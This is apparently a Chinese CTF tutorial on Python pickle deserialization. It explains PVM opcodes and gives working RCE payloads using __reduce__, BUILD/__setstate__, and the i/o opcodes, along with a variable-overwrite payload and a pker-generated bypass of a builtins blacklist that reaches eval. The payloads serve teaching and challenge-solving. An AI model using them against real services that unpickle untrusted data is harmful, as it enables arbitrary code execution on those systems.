hed9eh0g

pickle与序列化和反序列化

官方文档

模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化。 "pickling" 是将 Python 对象及其所拥有的层次结构转化为一个字节流的过程,而 "unpickling" 是相反的操作,会将(来自一个 binary file 或者 bytes-like object 的)字节流转化回一个对象层次结构。 pickling(和 unpickling)也被称为“序列化”, “编组” 或者 “平面化”。而为了避免混乱,此处采用术语 “封存 (pickling)” 和 “解封 (unpickling)”。

  • pickle.dumps(object):用于序列化一个对象

  • pickle.loads(picklestring):用于反序列化数据,实现一个对象的构建

测试代码:

#python3.7
import pickle

class test_1():
    def __init__(self):
        self.name = 'LH'
        self.age = 20

class test_2():
    name = 'LH'
    age = 20

test1 = test_1()
a_1 = pickle.dumps(test1)

test2 = test_2()
a_2 = pickle.dumps(test2)

print("test_1序列化结果:")
print(a_1)
print("test_2序列化结果:")
print(a_2)

b_1 = pickle.loads(a_1)
b_2 = pickle.loads(a_2)

print("test_1反序列化结果:")
print(b_1.name)
print(b_1.age)

print("test_2反序列化结果:")
print(b_2.name)
print(b_2.age)

运行结果:

可以看到序列化结果长短不同,这是因为待处理的类里面有无__init__造成的,test_2类没有使用__init__所以序列化结果并没有涉及到nameage。但是反序列化之后仍然可以得到对应的属性值。

另外:如果在反序列化生成一个对象以前删除了这个对象对应的类,那么我们在反序列化的过程中因为对象在当前的运行环境中没有找到这个类就会报错,从而反序列化失败。

__reduce__()

类似于PHP中的__wakeup__魔法函数。如果当__reduce__返回值为一个元组(2到5个参数),第一个参数是可调用(callable)的对象,第二个是该对象所需的参数元组。在这种情况下,反序列化时会自动执行__reduce__里面的操作。

测试代码:

#python3.7
import os
import pickle

class A():
    def __reduce__(self):
        cmd = "whoami"
        return (os.system,(cmd,))

a=A()
str=pickle.dumps(a)

pickle.loads(str)

运行结果:

现在把关注点放在序列化数据,以及如何根据序列化数据实现反序列化。

指定protocol

pickle.dumps(object)在生成序列化数据时可以指定protocol参数,其取值包括:

  • 当protocol=0时,序列化之后的数据流是可读的(ASCII码)
  • 当protocol=3时,为python3的默认protocol值,序列化之后的数据流是hex码

更改代码:

#python3.7
import os
import pickle

class A():
    def __reduce__(self):
        cmd = "whoami"
        return (os.system,(cmd,))

a=A()
str=pickle.dumps(a,protocol=0)

print(str)
print(str.decode())   #将byte类型转化为string类型

运行结果:

不了解pickle的相关指令的话,以上序列化结果根本看不懂:

pickle相关的指令码与作用:

file
这里注意到R操作码,执行了可调用对象,可知它其实就是__reduce__()的底层实现。

其他指令可以在python的lib文件下的pickle.py查看:

对运行结果分解:

涉及到指令码,可以把pickle理解成一门栈语言:

  • pickle解析依靠Pickle Virtual Machine (PVM)进行。
  • PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
    • 解析引擎:从流中读取指令码和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回
    • 栈:由Python的list实现,被用来临时存储数据、参数以及对象
    • memo列表:由Python的dict实现,为PVM的生命周期提供存储数据的作用,以便后来的使用

结合上面的指令码与作用,可以分析出具体的过程。

具体过程

首先是:

cnt
system

也即引入nt.system,这里的nt是模块os的名称nameos.name在不同环境对应的值不同:

Windows下为nt

Linux下为posix

posixPortable Operating System Interface of UNIX(可移植操作系统接口)的缩写。Linux 和 Mac OS 均会返回该值。

file

然后再执行p0,将栈顶内容写入到列表中,由于是列表第一个数据因此索引为0:

file

接下去执行(Vwhoami(是将一个标志位MASK压入栈中,Vwhoami就是将字符串“whoami”压入栈中:

file

接下去执行p1,将栈顶数据"whoami"写入列表,索引为1:

file

再执行tp2,首先栈弹出从栈顶到MASK标志位的数据,将其转化为元组类型,然后再压入栈。最后p2将栈顶数据(也即元组)写入列表,索引为2:

file

再执行Rp3,先将之前压入栈中的元组和可调用对象全部弹出然后执行,这里也即执行nt.system("whoami"),接着将结果压入栈。最后p3将栈顶数据(也即执行结果)写入列表,索引为3:

file

总的过程如下:

file

由于memo列表只是起到一个存储数据的作用,如果目的只是想要执行nt.system("whoami"),可以将原序列化数据中有关写入列表的操作给去除。也即原b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'可简化为b'cnt\nsystem\n(Vwhoami\ntR.',仍然是可以达到执行目的的:

pickletools模块

官方说明:

此模块包含与 pickle 模块内部细节有关的多个常量,一些关于具体实现的详细注释,以及一些能够分析封存数据的有用函数。 此模块的内容对需要操作 pickle 的 Python 核心开发者来说很有用处;pickle 的一般用户则可能会感觉 pickletools 模块与他们无关。

相关接口:

  • pickletools.dis(picklestring)

    可以更方便的看到每一步的操作原理。如上面的例子执行该方法:

  • pickletools.optimize(picklestring)
    消除未使用的 PUT 操作码之后返回一个新的等效 pickle 字符串。 优化后的 pickle 将更为简短,耗费更为的传输时间,要求更少的存储空间并能更高效地解封。也即上面分析能够经过简化的过程:

测试代码:

#python3.7
import pickle
import pickle
import pickletools


class person():
    def __init__(self, name, age):
        self.name = name
        self.age = age


me = person('LH', 20)
str = pickle.dumps(me)
print(str)

pickletools.dis(str)

运行结果:

b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ person'
   19: q    BINPUT     0
   21: )    EMPTY_TUPLE
   22: \x81 NEWOBJ
   23: q    BINPUT     1
   25: }    EMPTY_DICT
   26: q    BINPUT     2
   28: (    MARK
   29: X        BINUNICODE 'name'
   38: q        BINPUT     3
   40: X        BINUNICODE 'LH'
   47: q        BINPUT     4
   49: X        BINUNICODE 'age'
   57: q        BINPUT     5
   59: K        BININT1    20
   61: u        SETITEMS   (MARK at 28)
   62: b    BUILD
   63: .    STOP
highest protocol among opcodes = 2

str使用pickle.optimize进行简化:

>>>str=b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.'

>>>pickletools.optimize(str)

>>>b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00LHX\x03\x00\x00\x00ageK\x14ub.'

应用

修改刚才源码:

#python3.7
import base64
import pickle
import otherpeople

class person():
    def __init__(self, name, age):
        self.name = name
        self.age = age

me=pickle.loads(base64.b64decode(input()))

if otherpeople.name==me.name and otherpeople.age==me.age:
    print("flag")
else:
    print("hack")

同目录下新建otherpeople文件夹,写入__init.py__用于新建一个模板:

name = 'Dr.liu'
age = 21

要求我们输入待反序列化的数据,使得反序列化之后为person类的一个对象me,如果me.nameme.age分别等于otherpeople模板的nameage,才能得到flag。如果把刚才的序列化数据中的LH20改成模板中的Dr.liu21则能实现:

第二个hex码对应是字符串的长度,十六进制的14对应为十进制20

但是此时我们并不知道otherpeople模板的内容,所以并不能实现。

根据前面的例子可知,引用模块在pickle中对应的操作码是c,所以可以根据其书写规则得到otherpeople.nameotherpeople.age对应的序列化数据是cotherpeople\nname\ncotherpeople\nage\n,将原数据进行替换:

再对替换的结果进行base64编码:

>>>import base64

>>>base64.b64encode(b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00namecotherpeople\nname\nX\x03\x00\x00\x00agecotherpeople\nage\nub.')

>>>b'gANjX19tYWluX18KcGVyc29uCimBfShYBAAAAG5hbWVjb3RoZXJwZW9wbGUKbmFtZQpYAwAAAGFnZWNvdGhlcnBlb3BsZQphZ2UKdWIu'

验证:

限制module

pickle源码中,c指令是基于find_class这个方法实现的,然而find_class可以被出题人重写。如果出题人只允许c指令包含__main__这一个module、不允许导入其他module,也即刚才的cotherpeople被限制了。此时又该如何绕过呢?

回到刚才的测试代码的运行结果,发现pickle是构建person的过程是完全可视的,而且是在__main__这个module进行构建的:

那么就可以根据pickle语法,插入一段数据,这段数据用于在__main__中构建一个otherpeople对象,此时otherpeople.nameotherpeople.age也是可控的,这样我们就可以覆盖掉原本未知的Dr.liu21,只需确保和person.nameperson.age相等即可。

先放出示意图:

解释一下恶意插入的序列化数据:

b'c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0'

1、首先类比构建person对象时的语法:c__main__\notherpeople\n}

2、接下去(操作码表示将压入一个元组到栈中,V操作码表示跟在它后面的数据是一个字符串,K操作码表示跟在它后面的数据是一个整型数字,Vname\nVsunxiaokong\nVage\nK\x16表示的元组为:{'name':'sunxiaokong','age':22}

3、然后u操作码规定了即将构建的对象的界限,b操作码用于构造对象

4、0操作码将该对象(栈顶元素)从栈弹出

经过上面的操作此时otherpeople.name='sunxiaokong'otherpeople.age=22,因此后半段person中相应的属性也应该改成相同的值:

X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16

验证:

>>>base64.b64encode(b'\x80\x03c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16ub.')

b'gANjX19tYWluX18Kb3RoZXJwZW9wbGUKfShWbmFtZQpWc3VueGlhb2tvbmcKVmFnZQpLFnViMGNfX21haW5fXwpwZXJzb24KKYF9KFgEAAAAbmFtZVgLAAAAc3VueGlhb2tvbmdYAwAAAGFnZUsWdWIu'

以上思路也是“2020高校战疫”webtmp的解题思路

限制__reduce()__

如果限制__reduce()__,需要另外一个知识点:

关注操作码b

跟进到load_build函数:

    def load_build(self):
        stack = self.stack
        state = stack.pop()
        inst = stack[-1]
        setstate = getattr(inst, "__setstate__", None)   #获取inst的__setstate__方法
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

把当前栈栈顶数据记为state,然后弹出,再把接下去的栈顶数据记为inst

关注到第七行的setstate(state),这意味着可以RCE,但是inst原先是没有__setstate__这个方法的。可以利用{‘__setstate__’: os.system}来BUILD这个对象,那么现在inst__setstate__方法就变成了os.system;另外再确保state也即一开始的栈顶元素为calc.exe,则会执行setstate(“calc.exe”) ,也即os.system("calc.exe")

上面的操作对应的payload如下:

b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'

验证代码:

import os
import pickle
import pickletools

class A():
    #balabala·····

str=b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'
pickle.loads(str)

除了操作码b可以利用外,还有io操作码可以实现RCE:

b'(S\'whoami\'\nios\nsystem\n.'
b'(cos\nsystem\nS\'whoami\'\no.'

payload的构造可以参照对应的作用:

file

工具pker

Github地址

借助该工具,可以省去人工构造payload,根据自己的相关需求可以自动生成相应的序列化数据。

pker主要用到GLOBALINSTOBJ三种特殊的函数以及一些必要的转换方式:

  • GLOBAL :用来获取module下的一个全局对象,对应操作码c ,如GLOBAL('os', 'system')
  • INST :建立并入栈一个对象(可以执行一个函数),对应操作码i ,如INST('os','system','ls') ,输入规则按照:module,callable,para
  • OBJ :建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数),对应操作码o。 如OBJ(GLOBAL('os','system'),'ls') ,输入规则按照:callable,para
  • xxx(xx,...): 使用参数xx调用函数xxx,对应操作码R
  • li[0]=321或globals_dic['local_var']='hello' :更新列表或字典的某项的值,对应操作码s
  • xx.attr=123:对xx对象进行属性设置,对应操作码b
  • return :出栈,对应操作码0

使用例子:

1、用于执行os.system("whoami")

s='whoami'
system = GLOBAL('os', 'system')
system(s)    # b'R'调用 return

2、全局变量覆盖举例:

secret=GLOBAL('__main__', 'secret') 
secret.name='1'
secret.category='2'

以刚刚上面那道只允许引入__main__模块的变量覆盖为例,对应的pker代码:

otherpeople = GLOBAL('__main__','otherpeople')
otherpeople.name = 'sunxiaokong'
otherpeople.age = 22
new = INST('__main__', 'person','sunxiaokong',20)
return new

Code-Breaking picklecode

import pickle
import base64
import builtins
import io
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
    def find_class(self, module, name):
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)

        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

restricted_loads(base64.b64decode(input()))

代码的主要内容就是限制了反序列化的内容,规定了我们只能引用builtins这个模块,而且禁止了里面的一些函数。但是没有禁止getattr这个方法,因此我们可以构造builtins.getattr(builtins,’eval’)的方法来构造eval函数。pickle不能直接获取builtins一级模块,但可以通过builtins.globals()获得builtins;这样就可以执行任意代码了。

用pker构造payload:

#先借助builtins.globals获取builtins模块
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')

#再用builtins模块获取eval函数
eval=getattr(builtins,'eval')
eval('ls')
return

相关文章: